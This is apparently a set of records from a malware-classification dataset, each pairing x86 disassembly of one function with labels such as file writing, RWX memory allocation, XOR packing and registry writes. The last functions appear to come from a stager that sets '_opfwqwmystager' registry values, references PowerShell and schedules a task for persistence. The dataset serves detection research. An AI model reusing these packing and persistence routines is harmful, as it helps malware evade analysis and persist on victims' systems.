joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ee20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100523f8
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x100643f0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
cmp dword [eax + 0x40], 0
je 0x1000ee60
mov ecx, dword [ebp - 0x30]
movzx edx, byte [ecx + 0x45]
test edx, edx
jne 0x1000ee6c
mov al, 1
jmp 0x1000f00f
mov dword [ebp - 0x54], 8
call fcn.10001910
push eax
mov eax, dword [ebp - 0x30]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x30]
mov eax, dword [edx + 0xc]
call eax
mov dword [ebp - 0x40], eax
call fcn.10001910
mov dword [ebp - 0x44], eax
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x44]
push edx
call fcn.10001890
add esp, 8
movzx eax, al
test eax, eax
je 0x1000eeaf
xor al, al
jmp 0x1000f00f
push 0
push 8
lea ecx, [ebp - 0x28]
call fcn.1000d2d0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x58]
push edx
lea ecx, [ebp - 0x28]
call fcn.1000aac0
mov ecx, eax
call fcn.1000ebe0
mov esi, eax
lea ecx, [ebp - 0x28]
call fcn.1000ab90
add esi, eax
push esi
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x28]
call fcn.1000aac0
mov ecx, eax
call fcn.1000ebe0
push eax
mov ecx, dword [ebp - 0x30]
add ecx, 0x48
push ecx
mov edx, dword [ebp - 0x30]
mov ecx, dword [edx + 0x40]
call fcn.100108a0
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x1000ef2a
cmp dword [ebp - 0x3c], 1
je 0x1000ef31
cmp dword [ebp - 0x3c], 3
je 0x1000efcb
jmp 0x1000efe3
mov eax, dword [ebp - 0x30]
mov byte [eax + 0x45], 0
lea ecx, [ebp - 0x4c]
push ecx
lea ecx, [ebp - 0x28]
call fcn.1000aac0
mov ecx, eax
call fcn.1000ebe0
mov edx, dword [ebp - 0x2c]
sub edx, eax
mov dword [ebp - 0x38], edx
je 0x1000ef94
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x38]
push edx
push 1
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x28]
call fcn.1000aac0
mov ecx, eax
call fcn.1000ebe0
push eax
call fcn.10018f67
add esp, 0x10
cmp dword [ebp - 0x38], eax
je 0x1000ef94
mov byte [ebp - 0x34], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.1000a9c0
mov al, byte [ebp - 0x34]
jmp 0x1000f00f
mov ecx, dword [ebp - 0x30]
movzx edx, byte [ecx + 0x45]
test edx, edx
jne 0x1000efb7
mov byte [ebp - 0x31], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.1000a9c0
mov al, byte [ebp - 0x31]
jmp 0x1000f00f
cmp dword [ebp - 0x38], 0
jne 0x1000efc9
push 0
push 8
lea ecx, [ebp - 0x28]
call fcn.1000d500
jmp 0x1000effb
mov byte [ebp - 0x33], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.1000a9c0
mov al, byte [ebp - 0x33]
jmp 0x1000f00f
mov byte [ebp - 0x32], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.1000a9c0
mov al, byte [ebp - 0x32]
jmp 0x1000f00f
jmp 0x1000eec2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10016e8b
mov esp, ebp
pop ebp
ret
Function at 0x10030315
Capabilities:
Write file on windows

Disassembly:
push 0x20
mov eax, 0x10052865
call fcn.1004be71
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x40], ebx
je 0x1003040d
cmp byte [esi + 0x46], bl
je 0x1003040d
mov eax, dword [esi]
mov edi, 0xffff
push edi
call dword [eax + 0xc]
movzx eax, ax
cmp di, ax
jne 0x10030351
xor al, al
jmp 0x1003040f
push ebx
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x28], bl
call fcn.1000fc50
mov dword [ebp - 4], ebx
mov edi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov ebx, edi
cmp eax, 0x10
jae 0x1003037e
lea ebx, [ebp - 0x28]
mov edi, ebx
mov ecx, dword [esi + 0x40]
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x18]
add eax, ebx
mov edx, dword [ecx]
push eax
push edi
lea eax, [esi + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x100303a5
dec eax
je 0x100303a9
dec eax
dec eax
je 0x100303fb
xor bl, bl
jmp 0x100303fd
mov byte [esi + 0x46], 0
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x28]
mov ecx, edi
cmp eax, 0x10
jae 0x100303b9
lea ecx, [ebp - 0x28]
mov ebx, dword [ebp - 0x2c]
sub ebx, ecx
je 0x100303e1
cmp eax, 0x10
jae 0x100303c8
lea edi, [ebp - 0x28]
push dword [esi + 0x50]
push ebx
push 1
push edi
call fcn.10018f67
add esp, 0x10
cmp ebx, eax
jne 0x100303a1
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x28]
cmp byte [esi + 0x46], 0
je 0x100303fb
test ebx, ebx
jne 0x10030372
push ebx
push 8
lea ecx, [ebp - 0x28]
call fcn.1000d500
jmp 0x1003036c
mov bl, 1
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.1000d880
mov al, bl
jmp 0x1003040f
mov al, 1
call fcn.1004be20
ret
Function at 0x1003075b
Capabilities:
Write file on windows

Disassembly:
push 0x30
mov eax, 0x10052892
call fcn.1004be71
mov edi, ecx
mov ebx, dword [ebp + 8]
mov esi, 0xffff
cmp si, bx
jne 0x1003077d
xor eax, eax
jmp 0x10030905
mov eax, dword [edi + 0x20]
mov ecx, dword [eax]
test ecx, ecx
je 0x100307a9
mov edx, dword [edi + 0x30]
mov eax, dword [edx]
lea eax, [ecx + eax*2]
cmp ecx, eax
jae 0x100307a9
dec dword [edx]
mov ax, bx
mov edx, dword [edi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 2]
mov dword [edx], ecx
mov word [esi], bx
jmp 0x10030905
cmp dword [edi + 0x50], 0
je 0x10030902
mov ecx, edi
call fcn.1003053f
xor ecx, ecx
cmp dword [edi + 0x40], ecx
jne 0x100307dc
push dword [edi + 0x50]
push ebx
call fcn.1002fee5
pop ecx
pop ecx
test al, al
je 0x10030902
movzx esi, bx
jmp 0x10030902
push ecx
movzx eax, bx
mov dword [ebp - 0x18], ecx
mov byte [ebp - 0x28], cl
lea ecx, [ebp - 0x28]
push 8
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x14], 0xf
call fcn.1000fc50
and dword [ebp - 4], 0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
cmp ecx, 0x10
jae 0x1003080f
lea eax, [ebp - 0x28]
mov dword [ebp - 0x2c], eax
cmp ecx, 0x10
jae 0x1003081d
lea eax, [ebp - 0x28]
mov dword [ebp - 0x30], eax
mov ecx, dword [edi + 0x40]
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x2c]
mov edx, dword [ecx]
push eax
push dword [ebp - 0x30]
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x32]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [edi + 0x48]
push eax
call dword [edx + 0x1c]
mov ebx, dword [ebp + 8]
test eax, eax
js 0x100308f6
cmp eax, 1
jg 0x100308da
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
cmp ecx, 0x10
jb 0x1003086a
mov dword [ebp - 0x2c], eax
jmp 0x10030870
lea edx, [ebp - 0x28]
mov dword [ebp - 0x2c], edx
mov edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], edx
je 0x100308a2
cmp ecx, 0x10
jae 0x10030883
lea eax, [ebp - 0x28]
push dword [edi + 0x50]
push edx
push 1
push eax
call fcn.10018f67
mov edx, dword [ebp - 0x2c]
add esp, 0x10
cmp edx, eax
jne 0x100308d2
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
lea ebx, [ebp - 0x34]
mov byte [edi + 0x46], 1
cmp dword [ebp - 0x3c], ebx
mov ebx, dword [ebp + 8]
jne 0x100308cf
test edx, edx
jne 0x10030807
cmp dword [ebp - 0x18], 0x20
jae 0x100308d5
push edx
push 8
lea ecx, [ebp - 0x28]
call fcn.1000d500
jmp 0x100307fe
movzx esi, bx
movzx esi, si
movzx esi, si
jmp 0x100308f3
cmp eax, 3
jne 0x100308f6
push dword [edi + 0x50]
push dword [ebp - 0x34]
call fcn.1002fee5
pop ecx
pop ecx
test al, al
je 0x100308f3
movzx esi, bx
movzx esi, si
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.1000d880
mov ax, si
call fcn.1004be20
ret 4
Function at 0x10049330
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.100494e0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x100493fd
mov edx, dword [ebp - 4]
cmp edx, dword [0x100655d8]
jb 0x1004937a
mov eax, dword [ebp - 4]
cmp eax, dword [0x100655dc]
ja 0x1004937a
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1004934a
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.1001f4a0
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x100493a0
jmp 0x100493fd
cmp dword [ebp - 0x14], 0x10000
jne 0x100493e3
cmp dword [ebp - 0x18], 0x10000
jb 0x100493e3
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100493d6
mov eax, dword [ebp - 8]
jmp 0x100493ff
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x100493f8
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.100494e0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1004934a
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10049410
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.10049510
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x100494d5
mov edx, dword [ebp - 4]
cmp edx, dword [0x100655d8]
jb 0x10049455
mov eax, dword [ebp - 4]
cmp eax, dword [0x100655dc]
ja 0x10049455
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x10049425
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.1001f4a0
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x1004947b
jmp 0x100494d5
cmp dword [ebp - 0x14], 0x10000
jne 0x100494be
cmp dword [ebp - 0x18], 0x10000
jb 0x100494be
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100494b1
mov eax, dword [ebp - 8]
jmp 0x100494d7
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x100494d0
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.10049510
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10049425
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1004a8e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x10067828], eax
je 0x1004a905
mov eax, 0x10dd
jmp 0x1004aaad
cmp dword [0x1006782c], 0
je 0x1004a918
mov eax, dword [0x1006782c]
jmp 0x1004aaad
cmp dword [ebp + 0xc], 0
jne 0x1004a928
mov eax, 0x57
jmp 0x1004aaad
cmp dword [ebp + 8], 0
jne 0x1004a938
mov eax, 6
jmp 0x1004aaad
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x1004a961
mov dword [ebp - 8], 6
mov ecx, dword [ebp - 8]
mov dword [0x1006782c], ecx
mov edx, dword [ebp + 8]
mov dword [0x10067830], edx
mov eax, dword [ebp - 8]
jmp 0x1004aaad
push 0x18
call fcn.100196d0
add esp, 4
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1004a9ba
mov dword [ebp - 8], 8
mov ecx, dword [ebp - 8]
mov dword [0x1006782c], ecx
cmp dword [ebp - 4], 0
je 0x1004a9a9
mov edx, dword [ebp - 4]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
push eax
call fcn.10018b76
add esp, 4
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 8]
mov dword [0x10067830], ecx
mov eax, dword [ebp - 8]
jmp 0x1004aaad
push 0
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call fcn.1004a8c0
mov dword [ebp - 0x10], eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.1004a8c0
mov dword [ebp + 0xc], eax
mov edx, dword [ebp - 0x10]
movzx eax, byte [edx + 0x36]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x40]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0xc], 0
je 0x1004a9fa
cmp dword [ebp - 0xc], 0x1e
jbe 0x1004aa16
mov dword [ebp - 8], 9
cmp dword [0x10067820], 0
je 0x1004aa11
jmp 0x1004a98a
jmp 0x1004a981
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x44]
cmp ecx, dword [ebp + 0xc]
je 0x1004aa3d
mov dword [ebp - 8], 9
cmp dword [0x10067820], 0
je 0x1004aa38
jmp 0x1004a98a
jmp 0x1004a981
mov dword [ebp - 0x18], 0
lea edx, [ebp - 0x18]
push edx
push 0x40
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1004aa6a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
jmp 0x1004a981
mov edx, dword [ebp - 4]
mov dword [edx + 4], 1
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov dword [edx + 0x10], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
mov dword [ecx + 0xc], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x18]
mov dword [eax + 0x14], ecx
mov edx, dword [ebp - 4]
mov eax, dword [0x10067838]
mov dword [edx], eax
mov ecx, dword [ebp - 4]
mov dword [0x10067838], ecx
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x1004aac0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x10067828], eax
je 0x1004aade
mov eax, 0x10dd
jmp 0x1004abbf
mov eax, dword [0x10067838]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1004ab5c
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x1004ab3a
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x1004ab3a
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.10049990
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.10018b76
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x1004aae6
mov dword [0x10067838], 0
call fcn.1004a270
mov ecx, dword [0x10067834]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x1004aba9
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.10018b76
add esp, 4
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x1004ab74
mov dword [0x10067834], 0
mov dword [0x10067828], 0
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1004b0a0
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x1006782c], 0
je 0x1004b0b9
mov eax, dword [0x1006782c]
jmp 0x1004b159
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp dword [ebp + 8], eax
jne 0x1004b0cb
xor eax, eax
jmp 0x1004b159
push 8
call fcn.100196d0
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1004b121
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x1004b10a
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
call fcn.10018b76
add esp, 4
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x1006782c], eax
mov dword [0x10067830], 0
mov eax, dword [ebp - 8]
jmp 0x1004b159
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x1004b13b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
jmp 0x1004b0eb
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x10067834]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x10067834], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x2c674c48
nop
nop
nop
nop
test eax, eax
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x65de243a
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x61366f31
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x551043e
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x4013a0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x415004]
xor eax, ebp
mov dword [ebp - 4], eax
push 1
call fcn.00401940
add esp, 4
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x10]
push ecx
push 0x40d1f0
push 0x65
call fcn.004018d0
add esp, 0x10
test eax, eax
jne 0x4013dc
xor eax, eax
jmp 0x401515
lea edx, [ebp - 0xc]
push edx
push 0xf023f
push 0
push 0x40d1f4
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40141a
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 3
push 0
push 0x40d208
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x401421
xor eax, eax
jmp 0x401515
lea eax, [ebp - 0xc]
push eax
push 0xf013f
push 0
push str.SOFTWARE
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40145f
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
push 3
push 0
push str._opfwqwmystager
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x401466
xor eax, eax
jmp 0x401515
push 0
call section..text
add esp, 4
mov dword [ebp - 0x18], eax
push 1
call section..text
add esp, 4
mov dword [ebp - 0x1c], eax
push 0x40d25c
call fcn.00401750
add esp, 4
call fcn.00401970
test eax, eax
je 0x40149f
mov dword [ebp - 0x14], str.C:WindowsSysWOW64WindowsPowerShell_v1.0
jmp 0x4014a6
mov dword [ebp - 0x14], 0x40d2f0
mov ecx, dword [ebp - 0x18]
push ecx
push 0x40d280
mov edx, dword [ebp - 0x14]
push edx
push 0x40d2f4
call fcn.00401550
add esp, 0x10
test eax, eax
je 0x4014d1
push str._opfwqwmyvfdcccfu
call fcn.004019c0
add esp, 4
call fcn.00401970
test eax, eax
je 0x401513
push 0x40d33c
call fcn.00401750
add esp, 4
mov eax, dword [ebp - 0x1c]
push eax
push str.powershell
push 0x40d378
push 0x40d37c
call fcn.00401550
add esp, 0x10
test eax, eax
je 0x401513
push str._opfwqwmyfpbmofbp
call fcn.004019c0
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401a9f
mov esp, ebp
pop ebp
ret 0x10
Function at 0x401550
Capabilities:
Schedule task via itaskscheduler

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x415004]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x4c], 0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jl 0x401733
mov dword [ebp - 0x48], 0
lea eax, [ebp - 0x48]
push eax
push 0x40d1c0
push 1
push 0
push 0x40d1e0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x40172d
mov dword [ebp - 0x3c], 0
lea ecx, [ebp - 0x3c]
push ecx
push 0x40d1b0
push 0x40d1d0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x48]
push edx
mov eax, dword [ecx + 0x20]
call eax
test eax, eax
jl 0x40171f
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x3c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [eax + 0x90]
call edx
test eax, eax
jl 0x401711
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [edx + 0x80]
call ecx
test eax, eax
jl 0x401711
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x3c]
push edx
mov eax, dword [ecx + 0x88]
call eax
test eax, eax
jl 0x401711
push 0
push 0x40ead0
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [edx + 0x78]
call ecx
test eax, eax
jl 0x401711
mov dword [ebp - 0x44], 0
lea edx, [ebp - 0x44]
push edx
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [edx + 0xc]
call ecx
test eax, eax
jl 0x401711
push 0x30
push 0
lea edx, [ebp - 0x38]
push edx
call fcn.00402d10
add esp, 0xc
mov eax, 0x30
mov word [ebp - 0x38], ax
mov dword [ebp - 0x18], 6
mov ecx, 1
mov word [ebp - 0x30], cx
mov edx, 1
mov word [ebp - 0x32], dx
mov eax, 0x7d0
mov word [ebp - 0x34], ax
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x44]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x44]
push ecx
mov edx, dword [eax + 0xc]
call edx
test eax, eax
jl 0x401703
mov dword [ebp - 0x40], 0
lea eax, [ebp - 0x40]
push eax
push 0x40ee0c
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [edx]
call ecx
test eax, eax
jl 0x401703
push 1
push 0
mov edx, dword [ebp - 0x40]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [eax + 0x18]
call edx
test eax, eax
jl 0x4016f5
mov dword [ebp - 0x4c], 1
mov eax, dword [ebp - 0x40]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ecx + 8]
call eax
mov ecx, dword [ebp - 0x44]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [edx + 8]
call ecx
mov edx, dword [ebp - 0x3c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [eax + 8]
call edx
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x48]
push edx
mov eax, dword [ecx + 8]
call eax
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401a9f
mov esp, ebp
pop ebp
ret